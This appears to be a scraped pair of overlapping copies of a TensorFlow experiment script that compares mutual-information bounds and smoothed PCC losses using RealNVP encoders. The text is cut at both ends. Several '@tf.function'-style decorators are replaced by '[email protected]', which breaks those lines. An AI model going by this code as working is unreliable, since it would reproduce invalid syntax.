trainable=True,\n name='{}_bias'.format(self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1/(std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS//2, output_dim=100,\n activation=tf.nn.relu):\n # Note: This works only for the specific data set considered here.\n super(ConvNet, self).__init__([\n tfkl.Reshape((14, 28, 1), input_shape=(input_dim,)),\n tfkl.Conv2D(channels, kernel_size, strides=2,\n padding=\"same\", activation=activation),\n tfkl.Conv2D(2*channels, kernel_size, strides=2,\n padding=\"same\", activation=activation),\n LayerNorm(),\n tfkl.GlobalAveragePooling2D(),\n tfkl.Dense(output_dim),\n ])\n\nfrom tensorflow_probability.python.internal import tensorshape_util\nimport tensorflow.compat.v1 as tf1\nfrom tensorflow_probability.python.bijectors import affine_scalar\nfrom tensorflow_probability.python.bijectors import bijector as bijector_lib\n\n# Modified from tensorflow_probability/python/bijectors/real_nvp.py\nclass RealNVP(bijector_lib.Bijector):\n def __init__(self,\n num_masked,\n shift_and_log_scale_fn=None,\n bijector_fn=None,\n is_constant_jacobian=False,\n validate_args=False,\n name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n # At construction time, we don't know input_depth.\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError('Exactly one of `shift_and_log_scale_fn` and '\n '`bijector_fn` should be specified.')\n if shift_and_log_scale_fn:\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n # ** First modification is here.\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n\n bijector_fn = _bijector_fn\n\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n\n # Still do this assignment for variable tracking.\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n\n super(RealNVP, self).__init__(\n forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian,\n validate_args=validate_args,\n name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(\n tensorshape_util.with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.')\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.')\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(\n x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(\n y1, event_ndims=1)\n\ndef real_nvp_default_template(hidden_layers,\n shift_only=False,\n activation=tf.nn.relu,\n name=None,\n *args, # pylint: disable=keyword-arg-before-vararg\n **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(\n inputs=x,\n units=units,\n activation=activation,\n *args, # pylint: disable=keyword-arg-before-vararg\n **kwargs)\n x = tf1.layers.dense(\n inputs=x,\n units=(1 if shift_only else 2) * output_units,\n activation=None,\n *args, # pylint: disable=keyword-arg-before-vararg\n **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n # ** Here is the second modification.\n return reshape_output(shift), 1e-7 + tf.nn.softplus(reshape_output(log_scale))\n\n return tf1.make_template('real_nvp_default_template', _fn)\n\nclass RealNVPBijector(tf.keras.Model):\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions)\n for _ in range(n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(\n dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\nclass InnerProdCritic(tf.keras.Model):\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\nclass BilinearCritic(tf.keras.Model):\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n# https://colab.research.google.com/github/google-research/google-research/blob/master/vbmi/vbmi_demo.ipynb\nclass ConcatCritic(tf.keras.Model):\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n # output is scalar score\n self._f = MLP([hidden_dim for _ in range(layers)]+[1], False, {\"activation\": \"relu\"})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n # Tile all possible combinations of x and y\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n # xy is [batch_size * batch_size, x_dim + y_dim]\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2),\n [batch_size * batch_size, -1])\n # Compute scores for each x_i, y_j pair.\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n def __init__(self, hidden_dim=100, output_dim=100, layers=1,\n activation='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim], False, {\"activation\": activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim], False, {\"activation\": activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\ndef train(g1,\n g2,\n critic,\n loss_fn,\n learning_rate,\n batch_size=TRAIN_BATCH_SIZE,\n n_iters=15000,\n n_evals=15,\n compute_jacobian=False,\n noise_std=0.0,\n data_dimensions=DIMS//2,\n n_iter=1,\n loss_name='InfoNCE',\n ):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, \"X1 and X2 shapes must agree to add noise!\"\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n\n # Compute the representations.\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n # Compute the Jacobian of g1 if needed.\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n\n # Optimizer setup.\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1., 1.), var) for grad, var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n\n # Subgraph for eval (add noise to input if necessary)\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None, data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(input=data_ph))\n codes = g1(data_ph_noisy)\n\n training_losses, testing_losses, classification_accuracies, iters, sigmas \\\n = [], [], [], [], []\n # Main training loop.\n for iter_n in range(n_iters):\n # Evaluate the model performance.\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes, data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(\n get_testing_loss(x_test, session, loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\"{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}\".format(\\\n n_iter, loss_name, iter_n, accuracy, args.dataset, args.batch_size, args.lr))\n # Run one optimization step.\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n\n return Results(iterations=iters,\n training_losses=training_losses,\n testing_losses=testing_losses,\n classification_accuracies=classification_accuracies,\n singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print(\"[New experiment] encoder: {}, critic: {}, loss: {}\".format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print(\"{:d}th run, loss: {}\".format(n, loss_name))\n if loss_name == \"drfc\" and TFDS_NAME == \"cifar10\":\n results = train(g1, g2, critic, loss_fn, **kwargs, learning_rate=LEARNING_RATE, n_iter=n, loss_name=loss_name)\n #results = train(g1, g2, critic, loss_fn, **kwargs, learning_rate=1e-4, n_iter=n, loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs, learning_rate=LEARNING_RATE, n_iter=n, loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print(\"Run {} failed! Error: {}\".format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(\n result, exp_name, nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((\n ResultsConfig(nets_name, critic_name, loss_name), results_per_run\n ))\n\n return {\n \"df\": pd.concat(data_frames),\n \"singular_values\": results_with_singular_values\n }\n\n#@title Run experiment or load precomputed results { display-mode: \"form\" }\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n #nwj_loss = lambda x: -nwj_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n\n loss_fcts = {\n # \"wpc\": wpc_loss,\n \"pcc\": pcc_loss,\n # \"drfc\": drfc_loss,\n #\"nwj\": nwj_loss,\n \"cpc\": cpc_loss,\n # \"skew_pcc\": skew_pcc_loss,\n \"ls_pcc\": ls_pcc_loss,\n \"prels_pcc\": pre_ls_pcc_loss,\n \"adap_pred_pcc\": adap_pred_smooth_pcc_loss,\n \"adap_label_pcc\": adap_label_smooth_pcc_loss\n }\n kwargs = dict(\n shift_only=True,\n activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(stddev=0.0001),\n bias_initializer='zeros')\n nets = {\n \"realnvp\": lambda: (\n RealNVPBijector(DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=kwargs),\n RealNVPBijector(DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=kwargs)\n )\n }\n critics = {\n \"bilinear\": lambda: BilinearCritic(feature_dim=DIMS//2),\n }\n return run_sweep(nets, critics, loss_fcts, \"invertible\", n_iters=21000, n_evals=21)\n\nif RUN_EXPERIMENTS:\n data_invertible = run_all_experiments()[\"df\"]\n data_invertible.to_pickle(RESULT_DIR)\nelse:\n os.system(\"wget -q -N https://storage.googleapis.com/mi_for_rl_files/mi_results.pkl\")\n data_invertible = pd.read_pickle('mi_results.pkl')\n data_invertible = data_invertible[data_invertible.exp_name == \"invertible\"]\n", "from __future__ import division\nfrom __future__ import print_function\nimport collections\nimport copy\nimport functools\nimport itertools\nimport os\nimport pickle\nimport argparse\nfrom matplotlib import pyplot as plt\nfrom matplotlib.ticker import FuncFormatter\nimport numpy as np\nimport pandas as pd\nfrom scipy.ndimage import gaussian_filter1d\nimport seaborn as sns\nimport tensorflow as tf\nfrom tensorflow.python.ops.parallel_for import gradients\nimport tensorflow_datasets as tfds\nimport tensorflow_probability as tfp\nimport sklearn.linear_model as sk_linear\nparser = argparse.ArgumentParser(description=\n 'Representation Learning Experiments')\nparser.add_argument('--dataset', default='mnist', type=str, help=\n 'cifar10 or mnist')\nparser.add_argument('--lr', default=0.0001, type=float, help='learning rate')\nparser.add_argument('--batch_size', default=100, type=int, help=\n 'mini batch size')\nparser.add_argument('--smoothing', default=0.01, type=float, help=\n 'label smoothing parameter')\nparser.add_argument('--output_dir', type=str, default='./runs', help=\n 'directory where the results will be stored')\nargs = parser.parse_args()\na, b, c = 0.005, 0.1, 0.9\nif not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\nTFDS_NAME = args.dataset\nNRUNS = 10\nif TFDS_NAME == 'mnist':\n DIMS = 784\nelif TFDS_NAME == 'cifar10':\n DIMS = 3072\nLEARNING_RATE = args.lr\nN_CLASSES = 10\nTRAIN_BATCH_SIZE = args.batch_size\nRESULT_DIR = './runs/{}_nrun={}_lr={}_batch={}.pkl'.format(TFDS_NAME, NRUNS,\n LEARNING_RATE, TRAIN_BATCH_SIZE)\nRUN_EXPERIMENTS = True\nFEATURE_INPUT = 'image'\nFEATURE_LABEL = 'label'\ntfb = tfp.bijectors\ntfd = tfp.distributions\ntfkl = tf.keras.layers\ntf.keras.backend.clear_session()\nResultsConfig = collections.namedtuple('ResultsConfig', ['nets', 'critic',\n 'loss'])\nResults = collections.namedtuple('Results', ['iterations',\n 'training_losses', 'testing_losses', 'classification_accuracies',\n 'singular_values'])\nResultsAdversarial = collections.namedtuple('ResultsAdversarial', [\n 'losses_e', 'losses_c', 'classification_accuracies', 'iters'])\nResultsSamplingIssues = collections.namedtuple('ResultsSamplingIssues', [\n 'mi_true', 'nce_estimates_noniid', 'nce_estimates_iid',\n 'nwj_estimates_noniid', 'nwj_estimates_iid'])\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\ndef nwj_lower_bound(scores):\n return tuba_lower_bound(scores - 1.0)\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\[email protected]\ndef adap_pred_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n pre_prob = (1.0 - alpha) * pre_prob + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\ntf.compat.v1.reset_default_graph()\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\ndataset_train = load_data('train')\ndataset_test = load_data('test')\nx_train, y_train = tfds_to_np(dataset_train)\nx_test, y_test = tfds_to_np(dataset_test)\ntf.compat.v1.reset_default_graph()\nx_train_noisy = x_train + 0.05 * np.random.randn(*x_train.shape)\nx_test_noisy = x_test + 0.05 * np.random.randn(*x_test.shape)\nprint('Fit on half the pixels: {}. It should be around 0.835.'.format(\n logistic_fit(x_train_noisy[:, :DIMS // 2], y_train, x_test_noisy[:, :\n DIMS // 2], y_test)))\n\n\ndef processed_train_data(dims, batch_size):\n dataset = load_data('train')\n dataset_batched = dataset.repeat().batch(batch_size, drop_remainder=True)\n get_next = tf.compat.v1.data.make_one_shot_iterator(dataset_batched\n ).get_next()\n features = get_next[FEATURE_INPUT]\n labels = get_next[FEATURE_LABEL]\n x_1, x_2 = tf.split(features, [dims, DIMS - dims], axis=-1)\n return x_1, x_2, labels\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\nfrom tensorflow_probability.python.internal import tensorshape_util\nimport tensorflow.compat.v1 as tf1\nfrom tensorflow_probability.python.bijectors import affine_scalar\nfrom tensorflow_probability.python.bijectors import bijector as bijector_lib\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., 